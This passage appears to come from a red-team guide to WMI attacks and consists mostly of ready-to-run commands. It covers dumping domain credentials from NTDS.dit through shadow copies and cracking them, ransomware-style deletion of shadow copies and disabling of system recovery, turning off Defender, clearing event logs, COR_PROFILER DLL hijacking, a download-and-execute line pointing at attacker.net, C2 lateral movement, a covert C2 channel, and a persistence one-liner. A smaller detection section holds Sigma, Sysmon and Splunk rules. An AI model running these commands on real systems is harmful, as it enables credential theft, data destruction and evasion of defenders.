9. WMI Credential Harvesting (NTDS.dit via Shadow Copy)
What it means: One of the most powerful WMI attack chains: use Win32_ShadowCopy to create a Volume Shadow Copy (a point-in-time snapshot) of the domain controller's C: drive, then copy the ntds.dit (AD password database) and SYSTEM hive from the shadow copy. Since the shadow copy provides an offline view of the locked ntds.dit, you bypass the VSS lock and extract all domain hashes.
Why shadow copy is needed:
ntds.ditis locked by Active Directory while the DC is running- VSS provides a frozen, consistent snapshot where the file is accessible
- Shadow copy + copy = extract hashes without touching the live file
9.1 Full Attack Chain: WMI NTDS.dit Extraction [CRED]
# ── STEP 1: Create a shadow copy of C:\ on the DC ────────────────────────────
# Requires Domain Admin or DC local admin
$ShadowCopy = (Get-WmiObject -List Win32_ShadowCopy).Create("C:\", "ClientAccessible")
# The result contains a ReturnValue (0 = success) and ShadowID (GUID)
$ShadowID = $ShadowCopy.ShadowID
Write-Host "[+] Shadow copy created: $ShadowID"
# ── STEP 2: Get the device path for the shadow copy ──────────────────────────
$Shadow = Get-WmiObject Win32_ShadowCopy | Where-Object {$_.ID -eq $ShadowID}
$DeviceObject = $Shadow.DeviceObject + "\"
Write-Host "[+] Shadow copy device object: $DeviceObject"
# DeviceObject looks like: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\
# ── STEP 3: Create a symlink to browse the shadow copy ───────────────────────
cmd /c mklink /d C:\shadow $DeviceObject
# Now C:\shadow\ mirrors the shadow copy root
# ── STEP 4: Copy ntds.dit from shadow copy ───────────────────────────────────
# ntds.dit locations (try both):
Copy-Item "C:\shadow\Windows\NTDS\ntds.dit" C:\Windows\Temp\ntds.dit
# OR
Copy-Item "C:\shadow\Windows\System32\ntds.dit" C:\Windows\Temp\ntds.dit
# ── STEP 5: Copy SYSTEM hive (needed for decryption key) ─────────────────────
Copy-Item "C:\shadow\Windows\System32\config\SYSTEM" C:\Windows\Temp\SYSTEM
# ── STEP 6: Copy SECURITY hive (additional secrets) ──────────────────────────
Copy-Item "C:\shadow\Windows\System32\config\SECURITY" C:\Windows\Temp\SECURITY
# ── STEP 7: Exfiltrate the files ─────────────────────────────────────────────
# Via SMB from attacker machine:
# copy \\DC01\C$\Windows\Temp\ntds.dit /tmp/
# copy \\DC01\C$\Windows\Temp\SYSTEM /tmp/
# ── STEP 8: Remove symlink and shadow copy (cleanup) ─────────────────────────
cmd /c rmdir C:\shadow
$Shadow.Delete()
Write-Host "[+] Cleaned up shadow copy."
9.2 Remote NTDS.dit Extraction via Invoke-WmiMethod [CRED]
# ── ON ATTACKER MACHINE → targeting remote DC ─────────────────────────────────
$DC = "10.10.10.1" # DC IP
$cred = Get-Credential # Domain Admin creds
# Step 1: Create shadow copy on the DC
$shadow = Invoke-WmiMethod -Class Win32_ShadowCopy -Name Create `
-ArgumentList "ClientAccessible","C:\" `
-ComputerName $DC -Credential $cred
$ShadowID = $shadow.ShadowID
Write-Host "[+] Shadow ID: $ShadowID"
# Step 2: Get device object path
$ShadowVol = Get-WmiObject Win32_ShadowCopy -ComputerName $DC -Credential $cred |
Where-Object {$_.ID -eq $ShadowID} |
Select-Object -ExpandProperty DeviceObject
Write-Host "[+] DeviceObject: $ShadowVol"
# Step 3: Copy ntds.dit from shadow copy to accessible path on DC
Invoke-WmiMethod -Class Win32_Process -Name Create `
-ArgumentList "cmd.exe /c copy `"$ShadowVol\Windows\NTDS\ntds.dit`" C:\Windows\Temp\ntds.dit" `
-ComputerName $DC -Credential $cred
Invoke-WmiMethod -Class Win32_Process -Name Create `
-ArgumentList "cmd.exe /c copy `"$ShadowVol\Windows\System32\config\SYSTEM`" C:\Windows\Temp\SYSTEM" `
-ComputerName $DC -Credential $cred
Start-Sleep -Seconds 3
# Step 4: Retrieve files via PSDrive (SMB)
New-PSDrive -Name S -PSProvider FileSystem -Root "\\$DC\C$" -Credential $cred
Copy-Item S:\Windows\Temp\ntds.dit C:\
Copy-Item S:\Windows\Temp\SYSTEM C:\
Remove-PSDrive S
Write-Host "[+] ntds.dit and SYSTEM copied locally. Ready for offline cracking."
# Step 5: Clean up (optional but recommended for OPSEC)
Invoke-WmiMethod -Class Win32_Process -Name Create `
-ArgumentList "cmd.exe /c del C:\Windows\Temp\ntds.dit && del C:\Windows\Temp\SYSTEM" `
-ComputerName $DC -Credential $cred
9.3 Offline Hash Extraction [CRED]
# After exfiltrating ntds.dit + SYSTEM + SECURITY files:
# ── impacket-secretsdump (recommended) ───────────────────────────────────────
python3 secretsdump.py -ntds ntds.dit -system SYSTEM -security SECURITY LOCAL
# Output:
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
# krbtgt:502:aad3b435b51404eeaad3b435b51404ee:a25e5a2a8c61a2f6df9c63e4ef1cf7e1:::
# DOMAIN\user:1001:aad3b435b51404eeaad3b435b51404ee:e4be000a4a18b1d25db45f4fc5312f17:::
# ── Alternative: pypykatz ─────────────────────────────────────────────────────
pypykatz registry --system SYSTEM --ntds ntds.dit dumpall
# ── Crack hashes offline ──────────────────────────────────────────────────────
hashcat -m 1000 ntds_hashes.txt /usr/share/wordlists/rockyou.txt
# Or
john --format=NT ntds_hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
10. WMI Shadow Copy Deletion (Impact / Anti-Forensics)
What it means: A staple of ransomware operations — deleting Volume Shadow Copies ensures victims cannot roll back to pre-encryption states. This is WMI's Win32_ShadowCopy class used for destruction rather than access. It is classified under MITRE T1490 (Inhibit System Recovery). Used by LockBit, BlackCat/ALPHV, Ryuk, REvil/Sodinokibi, and countless other ransomware families.
[OPSEC]Red team note: Only use shadow copy deletion in authorized engagements where impact simulation is explicitly scoped. This is destructive and irreversible.
10.1 Shadow Copy Deletion via wmic.exe [IMPACT][EVADE]
:: Classic single-line shadow copy wipe
wmic.exe shadowcopy delete
:: Quiet deletion (no prompts)
wmic.exe shadowcopy delete /nointeractive
:: Via vssadmin (alternative, often paired with wmic in ransomware)
vssadmin.exe delete shadows /all /quiet
:: Via wbadmin (delete backup catalog)
wbadmin.exe delete catalog -quiet
:: Combined (ransomware-style pre-encryption cleanup)
wmic shadowcopy delete
vssadmin delete shadows /all /quiet
wbadmin delete catalog -quiet
bcdedit /set {default} recoveryenabled No
bcdedit /set {default} bootstatuspolicy ignoreallfailures
10.2 Shadow Copy Deletion via PowerShell (Get-WmiObject) [IMPACT]
# Delete all shadow copies via WMI class
Get-WmiObject Win32_ShadowCopy | ForEach-Object { $_.Delete() }
# Alternative: Get-CimInstance + Remove-CimInstance
Get-CimInstance -ClassName Win32_ShadowCopy | Remove-CimInstance
# Confirm deletion
$shadows = Get-WmiObject Win32_ShadowCopy
if ($shadows) {
Write-Host "[!] Shadow copies still exist: $($shadows.Count)"
} else {
Write-Host "[+] All shadow copies deleted."
}
# ── REvil/Sodinokibi style (single line) ─────────────────────────────────────
Get-WmiObject Win32_Shadowcopy | ForEach-Object {$_.Delete();}
# ── LockBit / BlackCat combination ───────────────────────────────────────────
# Shadow delete + disable recovery
Get-WmiObject Win32_ShadowCopy | ForEach-Object { $_.Delete() }
& cmd /c bcdedit /set {default} recoveryenabled No
& cmd /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
10.3 Detection: Sigma Rules for Shadow Deletion [DETECT]
# Sigma rule: wmic.exe Shadow Copy Deletion
title: Volume Shadow Copy Deletion via WMIC
status: stable
tags:
- attack.impact
- attack.t1490
logsource:
product: windows
category: process_creation
detection:
selection:
Image|endswith: '\wmic.exe'
CommandLine|contains:
- 'shadowcopy'
- 'delete'
condition: selection
falsepositives:
- Legitimate admin backup cleanup
level: high
# KQL for Microsoft Sentinel / MDE:
DeviceProcessEvents
| where FileName has_any ("vssadmin.exe","wmic.exe")
| where ProcessCommandLine contains "shadow" and ProcessCommandLine contains "delete"
11. WMI Defense Evasion Techniques
What it means: Beyond execution and persistence, WMI is used to evade defenses — disabling security tools, clearing logs, and masking malicious activity by blending into legitimate management traffic.
11.1 Disable Windows Defender via WMI [EVADE]
# Disable real-time monitoring via WMI + PowerShell
Invoke-WmiMethod -Class Win32_Process -Name Create `
-ArgumentList "powershell -Command Set-MpPreference -DisableRealtimeMonitoring \$true"
# Remote disable (from attacker machine)
Invoke-WmiMethod -Class Win32_Process -Name Create `
-ArgumentList "powershell -Command Set-MpPreference -DisableRealtimeMonitoring \$true" `
-ComputerName 192.168.1.10 -Credential $cred
# Kill Defender process via WMI
wmic /node:TARGET /user:DOMAIN\Admin process where "Name='MsMpEng.exe'" call terminate
11.2 Clear Event Logs via WMI [EVADE]
# Clear specific event logs using WMI
$logs = @("System", "Security", "Application", "Microsoft-Windows-Sysmon/Operational")
foreach ($log in $logs) {
$wmiLog = Get-WmiObject Win32_NTEventLogFile | Where-Object {$_.LogFileName -eq $log}
if ($wmiLog) {
$wmiLog.ClearEventLog()
Write-Host "[+] Cleared: $log"
}
}
# Remote log clearing
Invoke-WmiMethod -Class Win32_Process -Name Create `
-ArgumentList "wevtutil cl System && wevtutil cl Security && wevtutil cl Application" `
-ComputerName 192.168.1.10 -Credential $cred
# Or via Win32_NTEventLogFile remotely
Get-WmiObject -Class Win32_NTEventLogFile -ComputerName 192.168.1.10 -Credential $cred |
Where-Object {$_.LogFileName -in @("Security","System","Application")} |
ForEach-Object { $_.ClearEventLog() }
11.3 WMI COR_PROFILER .NET Persistence (DLL Hijack via Env Var) [EVADE][PERSIST]
What it means: WMI can manipulate environment variables like COR_PROFILER, which causes the .NET runtime to load a specific DLL into every .NET process. This is a fileless, WMI-enabled DLL injection technique.
# Set COR_PROFILER to load malicious DLL into all .NET processes
# This can be done via WMI Registry class
$reg = Get-WmiObject -Namespace root\default -Class StdRegProv
# HKCU environment variables (user-level, no admin needed)
$HKCU = 2147483649 # 0x80000001
$reg.SetStringValue($HKCU, "Environment", "COR_ENABLE_PROFILING", "1")
$reg.SetStringValue($HKCU, "Environment", "COR_PROFILER", "{CLSID_OF_MALICIOUS_COM}")
$reg.SetStringValue($HKCU, "Environment", "COR_PROFILER_PATH", "C:\Windows\Temp\profiler.dll")
# This causes every .NET process the user starts to load profiler.dll
# Stealthy because COR_PROFILER is a legitimate .NET debugging mechanism
11.4 WMIC with -nooutput / -silentcommand (OPSEC) [EVADE][OPSEC]
# -nooutput: No ADMIN$ temp file written (harder to detect)
python3 wmiexec.py DOMAIN/admin:'P@ssw0rd'@10.10.10.50 \
-nooutput \
-silentcommand \
"rundll32 javascript:\"\\..\\mshtml,RunHTMLApplication\";document.write();"
# -nooutput + payload that calls back over DNS/HTTPS (no file writes needed)
python3 wmiexec.py DOMAIN/admin:'P@ssw0rd'@10.10.10.50 \
-nooutput \
"powershell -nop -w hidden -c IEX (New-Object Net.WebClient).DownloadString('http://attacker.net/s.ps1')"
11.5 OPSEC: Naming WMI Objects to Look Legitimate [OPSEC]
# BAD (suspicious) names:
$FilterArgs = @{ Name = 'evil' ... }
$ConsumerArgs = @{ Name = 'malware' ... }
# GOOD (blend with Windows defaults):
$FilterArgs = @{ Name = 'WindowsUpdateEventFilter' ... }
$FilterArgs = @{ Name = 'MicrosoftDefenderFilter' ... }
$FilterArgs = @{ Name = 'SystemPerformanceFilter' ... }
$ConsumerArgs = @{ Name = 'WindowsTelemetryConsumer' ... }
$ConsumerArgs = @{ Name = 'MicrosoftUpdateConsumer' ... }
# GOOD (match naming convention of existing WMI objects)
# Use: Get-WmiObject -Namespace root\subscription -Class __EventFilter
# to see what existing legitimate filter names look like
12. WMI with C2 Frameworks (Cobalt Strike / Sliver / Havoc)
What it means: Modern C2 frameworks have native WMI support for lateral movement, execution, and persistence — allowing you to operate entirely through the framework without dropping tools.
12.1 Cobalt Strike — WMI Lateral Movement [EXEC][TOOL]
# Spawn beacon on remote host via WMI
beacon> wmi TARGET.domain.local DOMAIN\Admin P@ssw0rd svchost.exe
# Jump to remote host (preferred — handles staging automatically)
beacon> jump wmi TARGET.domain.local
# Execute local assembly on remote via WMI (execute-assembly over WMI)
beacon> remote-exec wmi TARGET.domain.local cmd.exe /c whoami
# Lateral movement via wmi with explicit credentials
beacon> lateral-move wmi TARGET.domain.local DOMAIN\Admin P@ssw0rd
# View active beacons
beacon> beacons
12.2 Sliver — WMI Lateral Movement [EXEC][TOOL]
# Generate a stageless implant for WMI delivery
sliver > generate --os windows --arch amd64 --format exe --name svchost_implant
# Use WMI to deliver and execute (from existing implant)
sliver (beacon) > execute-assembly /opt/SharpWMI.exe action=exec computername=TARGET command="C:\Windows\Temp\svchost_implant.exe" result=true
# Or use MSF-style WMI execution
sliver (beacon) > wmi-exec --target 192.168.1.10 --username Admin --password P@ssw0rd --command "C:\Windows\Temp\implant.exe"
12.3 Havoc — WMI via BOF or execute-assembly [EXEC][TOOL]
# In Havoc console:
# Execute SharpWMI as BOF (Beacon Object File) or assembly
Havoc> dotnet inline-execute /opt/SharpWMI/SharpWMI.exe "action=exec computername=DC01 command=whoami result=true"
# WMI persistence via BOF
Havoc> wmi persist --filter-name MicrosoftUpdate --consumer-name TelemetryHost --command "C:\Windows\Temp\beacon.exe"
12.4 C2 via WMI Class Data (Covert C2 Channel) [EXEC][EVADE]
Advanced technique: Store C2 commands in WMI class properties — no network traffic to C2, data lives in WMI database.
# Attacker stores command in a custom WMI class property
$class = New-Object System.Management.ManagementClass("root\cimv2", [String]::Empty, $null)
$class["__CLASS"] = "MicrosoftTelemetry"
$class.Properties.Add("CommandBuffer", [System.Management.CimType]::String, $false)
$class.Put()
# Set the command
Set-WmiInstance -Class MicrosoftTelemetry -Arguments @{ CommandBuffer = "whoami /all" }
# Implant on target polls the WMI class for commands
while ($true) {
$cmd = (Get-WmiObject -Class MicrosoftTelemetry).CommandBuffer
if ($cmd) {
$result = Invoke-Expression $cmd
# Store result back in another property
Set-WmiInstance -Class MicrosoftTelemetry -Arguments @{ CommandBuffer = "" ; ResultBuffer = $result }
}
Start-Sleep 30
}
# This creates a covert C2 channel with NO network traffic to external C2
# Commands stored in WMI repo (binary database), results written back
# Very hard to detect — looks like WMI management activity
13. Detection & Threat Hunting
13.1 Event IDs to Watch [DETECT]
| Event ID | Source | What It Indicates |
|---|---|---|
| 4688 | Windows Security | Process creation — look for wmic.exe with /node, process call create |
| 4648 | Windows Security | Explicit credentials used (wmic with /user /password) |
| 4624 (Type 3) | Windows Security | Network logon — WMI lateral movement from remote host |
| Sysmon 1 | Sysmon | Process creation — wmiprvse.exe → cmd.exe is high-fidelity IoC |
| Sysmon 3 | Sysmon | Network connection from wmic.exe to port 135 |
| Sysmon 19/20/21 | Sysmon | WMI event filter / consumer / binding activity (persistence!) |
| Microsoft-Windows-WMI-Activity/Operational | WMI ETW | Raw WMI operations including new event subscriptions |
13.2 Sysmon Configuration for WMI [DETECT]
<!-- sysmon config snippet for WMI detection -->
<RuleGroup name="" groupRelation="or">
<!-- WMI Event Filter creation (persistence) -->
<WmiEvent onmatch="include">
<Operation condition="is">Created</Operation>
</WmiEvent>
<!-- Suspicious process from wmiprvse.exe (remote execution) -->
<ProcessCreate onmatch="include">
<ParentImage condition="end with">wmiprvse.exe</ParentImage>
</ProcessCreate>
<!-- wmic.exe with /node flag (lateral movement) -->
<ProcessCreate onmatch="include">
<Image condition="end with">wmic.exe</Image>
<CommandLine condition="contains">/node:</CommandLine>
</ProcessCreate>
<!-- wmic.exe with process call create (execution) -->
<ProcessCreate onmatch="include">
<Image condition="end with">wmic.exe</Image>
<CommandLine condition="contains all">process;call;create</CommandLine>
</ProcessCreate>
</RuleGroup>
13.3 Hunting for WMI Persistence [DETECT]
# ── Query ALL WMI subscriptions on a host ─────────────────────────────────────
# Event Filters (triggers)
Get-WmiObject -Namespace root\subscription -Class __EventFilter |
Select-Object Name, Query, EventNamespace |
Format-Table -AutoSize
# Event Consumers (actions)
Get-WmiObject -Namespace root\subscription -Class CommandLineEventConsumer |
Select-Object Name, CommandLineTemplate |
Format-Table -AutoSize
Get-WmiObject -Namespace root\subscription -Class ActiveScriptEventConsumer |
Select-Object Name, ScriptText |
Format-Table -AutoSize
# Bindings
Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding |
Format-Table -AutoSize
# ── Remote hunting (from analyst machine) ────────────────────────────────────
$computers = @("DC01", "WS01", "WS02", "FS01")
foreach ($c in $computers) {
Write-Host "`n=== $c ===" -ForegroundColor Yellow
Get-WmiObject -ComputerName $c -Namespace root\subscription -Class __EventFilter |
Select-Object Name, Query | Format-Table
Get-WmiObject -ComputerName $c -Namespace root\subscription -Class CommandLineEventConsumer |
Select-Object Name, CommandLineTemplate | Format-Table
}
# ── WMI Repository forensics ─────────────────────────────────────────────────
# Tool: PyWMIPersistenceFinder.py
# Copy C:\Windows\System32\wbem\repository\OBJECTS.DATA to analyst machine
# Run: python3 PyWMIPersistenceFinder.py OBJECTS.DATA
# Enumerates all permanent event subscriptions from binary database
13.4 Splunk Queries for WMI Threat Hunting [DETECT]
-- Remote process creation via wmic.exe
index=windows EventCode=4688
| where Image LIKE "%wmic.exe%" AND CommandLine LIKE "%process%" AND CommandLine LIKE "%call%" AND CommandLine LIKE "%create%"
| table _time, host, user, CommandLine
-- WMI lateral movement (wmiprvse.exe spawning shells)
index=windows source="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1
| where ParentImage LIKE "%wmiprvse.exe%" AND (Image LIKE "%cmd.exe%" OR Image LIKE "%powershell.exe%")
| table _time, host, Image, ParentImage, CommandLine
-- WMI persistence creation (Sysmon events 19/20/21)
index=windows source="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode IN (19, 20, 21)
| table _time, host, EventCode, Name, Type, Query, Destination
-- Shadow copy deletion
index=windows EventCode=4688
| where (Image LIKE "%wmic.exe%" AND CommandLine LIKE "%shadowcopy%" AND CommandLine LIKE "%delete%")
OR (Image LIKE "%vssadmin.exe%" AND CommandLine LIKE "%delete%" AND CommandLine LIKE "%shadow%")
| table _time, host, user, CommandLine
13.5 WMI Attack Indicator Summary [DETECT]
| Indicator | Type | Confidence |
|---|---|---|
wmiprvse.exe → cmd.exe or → powershell.exe |
Process tree | Very High |
wmic.exe /node: process call create |
Command line | High |
New __EventFilter in root\subscription |
WMI event | High (rare legitimate) |
New CommandLineEventConsumer or ActiveScriptEventConsumer |
WMI event | High |
wmic.exe shadowcopy delete |
Command line | Critical |
Get-WmiObject Win32_ShadowCopy | .Delete() |
Script block | |
mofcomp.exe followed by file deletion |
File + process | High |
wmiexec.py temp files on ADMIN$ (__*.txt) |
File artifact | High |
Network connection from wmic.exe to port 135 |
Network | Medium (admin may do this) |
14. Comparison Matrix
| Technique | MITRE | Complexity | Stealth | Requires Admin | Detection Risk | Best For |
|---|---|---|---|---|---|---|
| wmic.exe /node: process call create | T1047 | Low | Medium | Yes (admin on target) | High | Quick lateral movement |
| PowerShell Invoke-WmiMethod | T1047 | Low | Medium | Yes | High | Scripted engagements |
| Impacket wmiexec.py | T1047 | Low | Medium | Yes | High | Linux attacker → Windows target |
| CrackMapExec WMI | T1047 | Low | Medium | Yes | High | Multi-target sweep |
| SharpWMI (in-memory) | T1047 | Medium | High | Yes | Medium | C2 execute-assembly (no drop) |
| WMI Event Subscription (CLI Consumer) | T1546.003 | Medium | Very High | Yes | Low | Persistent access (fileless) |
| WMI Event Subscription (MOF + mofcomp) | T1546.003 | Medium | Very High | Yes | Low | Stealthy persistence (no PS) |
| WMI ActiveScript Consumer | T1546.003 | Medium | High | Yes | Low | Script-based persistence |
| Shadow Copy → NTDS.dit | T1003.003 | High | Medium | Yes (Domain Admin) | Medium | Credential harvesting on DC |
| Shadow Copy Deletion | T1490 | Low | Low | Yes | Critical | Ransomware pre-staging |
| WMI Covert C2 Channel | T1047 | Very High | Very High | Yes | Very Low | APT-style covert comms |
| COR_PROFILER via WMI Registry | T1574.012 | High | High | No (user-level) | Low | DLL injection without admin |
15. Cheat Sheet & Quick Reference
Quick Reference: Lateral Movement
:: wmic.exe — classic (no output returned)
wmic /node:TARGET /user:DOMAIN\Admin /password:P@ss process call create "cmd /c whoami > C:\out.txt"
:: PowerShell Invoke-WmiMethod — single command
Invoke-WmiMethod -Class Win32_Process -Name Create -ComputerName TARGET -Credential $cred -ArgumentList "cmd /c whoami > C:\out.txt"
:: Impacket — interactive shell
python3 wmiexec.py DOMAIN/Admin:'P@ss'@TARGET
:: Impacket — Pass-the-Hash
python3 wmiexec.py -hashes :NTLMHASH DOMAIN/Admin@TARGET
:: CrackMapExec — subnet sweep
crackmapexec wmi 10.0.0.0/24 -u Admin -p P@ss -x "whoami"
Quick Reference: WMI Persistence (One-Liner)
# Deploy WMI persistence in 3 cmdlets
$f = New-CimInstance -Namespace root/subscription -ClassName __EventFilter -Property @{Name='WinUpdateFilter';EventNameSpace='root\CimV2';QueryLanguage='WQL';Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325"}
$c = New-CimInstance -Namespace root/subscription -ClassName CommandLineEventConsumer -Property @{Name='WinUpdateConsumer';CommandLineTemplate='powershell -nop -w hidden -enc SQBFAFgA...'}
New-CimInstance -Namespace root/subscription -ClassName __FilterToConsumerBinding -Property @{Filter=[Ref]$f;Consumer=[Ref]$c}
Quick Reference: Shadow Copy Attack
# Create shadow → copy ntds.dit → extract
$s = (Get-WmiObject -List Win32_ShadowCopy).Create("C:\","ClientAccessible")
$dev = (Get-WmiObject Win32_ShadowCopy | ? {$_.ID -eq $s.ShadowID}).DeviceObject
cmd /c mklink /d C:\shadow "$dev\"
Copy-Item C:\shadow\Windows\NTDS\ntds.dit C:\Temp\
Copy-Item C:\shadow\Windows\System32\config\SYSTEM C:\Temp\
# Exfil, then: secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL
Quick Reference: Shadow Deletion
# One-liner (REvil/Sodinokibi style)
Get-WmiObject Win32_Shadowcopy | ForEach-Object {$_.Delete();}
# Combined pre-ransomware cleanup
wmic shadowcopy delete; vssadmin delete shadows /all /quiet; wbadmin delete catalog -quiet
Quick Reference: Memory Flags & Ports
WMI Network Ports:
Port 135 → DCOM/RPC endpoint mapper (initial connection)
Dynamic → Ephemeral port (negotiated via port 135, typically 49152-65535)
Port 5985 → WinRM (HTTP) — used by CIM cmdlets over WS-Man
Port 5986 → WinRM (HTTPS) — secure WinRM
WMI Processes:
winmgmt.exe → WMI service host
wmiprvse.exe → WMI Provider Host (spawned per-namespace)
wmic.exe → WMI command-line client
mofcomp.exe → MOF compiler (compiles .mof into WMI repository)
scrcons.exe → WMI Script Consumer host (runs ActiveScriptEventConsumer)
Key WMI Repository Path:
C:\Windows\System32\wbem\repository\OBJECTS.DATA ← All WMI persistence lives here
C:\Windows\System32\wbem\repository\MAPPING.VER
Decision Tree: Which WMI Attack?
WMI Attack Goal?
│
├─ Execute command on single remote host?
│ ├─ Linux attacker? → wmiexec.py (Impacket)
│ └─ Windows attacker? → Invoke-WmiMethod / wmic.exe /node
│
├─ Execute across subnet?
│ └─ CrackMapExec WMI (crackmapexec wmi 10.0.0.0/24 ...)
│
├─ Execute in-memory via C2?
│ └─ SharpWMI via execute-assembly
│
├─ Need persistent access after reboot?
│ ├─ Fileless (no file drops)? → WMI Event Subscription (New-CimInstance)
│ └─ CMD-only target? → mofcomp.exe + MOF file (then delete MOF)
│
├─ Dump AD credentials from DC?
│ └─ Win32_ShadowCopy → ntds.dit → secretsdump.py
│
├─ Pre-ransomware / anti-forensics?
│ └─ wmic shadowcopy delete + vssadmin + bcdedit
│
└─ Covert long-term access?
└─ WMI Covert C2 channel (store commands in WMI class properties)
Tools Quick Reference
| Tool | Platform | Purpose | MITRE |
|---|---|---|---|
wmic.exe |
Windows (native) | Local/remote WMI execution & queries | T1047 |
wmiexec.py |
Linux (Impacket) | Semi-interactive WMI shell | T1047 |
dcomexec.py |
Linux (Impacket) | DCOM-based remote execution | T1047 |
CrackMapExec |
Linux | Multi-target WMI execution | T1047 |
SharpWMI |
Windows (.NET) | WMI exec / query / subscribe | T1047, T1546.003 |
Invoke-WmiMethod |
Windows (PowerShell) | Flexible WMI execution | T1047 |
New-CimInstance |
Windows (PowerShell) | WMI persistence setup | T1546.003 |
mofcomp.exe |
Windows (native) | Compile MOF into WMI repo | T1546.003 |
PyWMIPersistenceFinder.py |
Linux (Python) | Parse OBJECTS.DATA for persistence | Blue team |
secretsdump.py |
Linux (Impacket) | Offline NTDS.dit hash extraction | T1003.003 |
References & Further Reading
Official Documentation:
- MITRE ATT&CK T1047: https://attack.mitre.org/techniques/T1047/
- MITRE ATT&CK T1546.003: https://attack.mitre.org/techniques/T1546/003/
- MITRE ATT&CK T1490: https://attack.mitre.org/techniques/T1490/
- Windows WMI Provider Host (WmiPrvSE.exe): https://learn.microsoft.com/en-us/windows/win32/wmisdk/wmi-providers
Tools & Frameworks:
- Impacket: https://github.com/SecureAuthCorp/impacket
- SharpWMI (GhostPack): https://github.com/GhostPack/SharpWMI
- CrackMapExec: https://github.com/byt3bl33d3r/CrackMapExec
- Atomic Red Team T1546.003: https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1546.003/T1546.003.md
- PyWMIPersistenceFinder: https://github.com/davidpany/WMI_Forensics
Research & Deep Dives:
- Abusing WMI (Black Hat — Matt Graeber): https://www.blackhat.com/docs/us-15/materials/us-15-Graeber-Abusing-Windows-Management-Instrumentation-WMI-To-Build-A-Persistent%20Asynchronous-And-Fileless-Backdoor.pdf
- WMI Lateral Movement (Red Canary): https://redcanary.com/threat-detection-report/techniques/windows-management-instrumentation/
- Getting Started with WMI Weaponization (NetSPI): https://blog.netspi.com/getting-started-wmi-weaponization-part-4/
- WMI Persistence Lab: https://pentestlab.blog/2020/01/21/persistence-wmi-event-subscription/